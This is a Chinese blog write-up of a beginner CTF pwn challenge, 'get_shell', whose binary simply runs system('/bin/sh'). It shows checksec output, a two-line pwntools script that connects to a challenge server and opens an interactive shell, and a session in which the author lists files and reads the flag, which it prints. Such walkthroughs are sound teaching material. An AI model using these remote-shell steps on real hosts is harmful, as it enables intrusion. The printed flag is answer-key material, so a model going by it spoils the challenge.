

get_shell--writeup

原创

ATFWUS 于 2020-03-03 09:51:40 发布 266 收藏

分类专栏: [CTF-PWN # 攻防世界-pwn-- WriteUp](#) 文章标签: [CTF PWN](#) [安全](#) [远程连接](#) [攻防世界](#)

本文为ATFWUS原创, 允许转载, 但请附上作者署名和本文链接

本文链接: <https://blog.csdn.net/ATFWUS/article/details/104626052>

版权



[CTF-PWN](#) 同时被 2 个专栏收录

33 篇文章 5 订阅

订阅专栏



[攻防世界-pwn-- WriteUp](#)

15 篇文章 0 订阅

订阅专栏

文件下载地址:

链接: <https://pan.baidu.com/s/1Vd0eDzX5eXINCkpXzT0Gwg>

提取码: hemt

0x01.查看相关信息

checksec:

```
root@at-ubuntu:/home/atfwus/rop# checksec get_shell
[*] '/home/atfwus/rop/get_shell'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
root@at-ubuntu:/home/atfwus/rop#
```

64位程序。

查看源码:

```
1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     puts("OK,this time we will get a shell.");
4     system("/bin/sh");
5     return 0;
6 }
```

额，，，，这个源码就有点侮辱智商了，直接运行就能得到shell，也就是说我们只要绑定服务器运行这个程序，就有权限。这就很简单了。

0x02.exp

```
#!/usr/bin/env python
from pwn import*

r=remote("111.198.29.45",57384)
r.interactive()
```

```
root@at-ubuntu:/home/atfwus/rop# python expget_shell.py
[+] Opening connection to 111.198.29.45 on port 57384: Done
[*] Switching to interactive mode
$ ls
bin
dev
flag
get_shell
lib
lib32
lib64
$ cat flag
cyberpeace{addc9328154abc8762ca79fe75503173}
$
```

<https://blog.csdn.net/ATFWUS>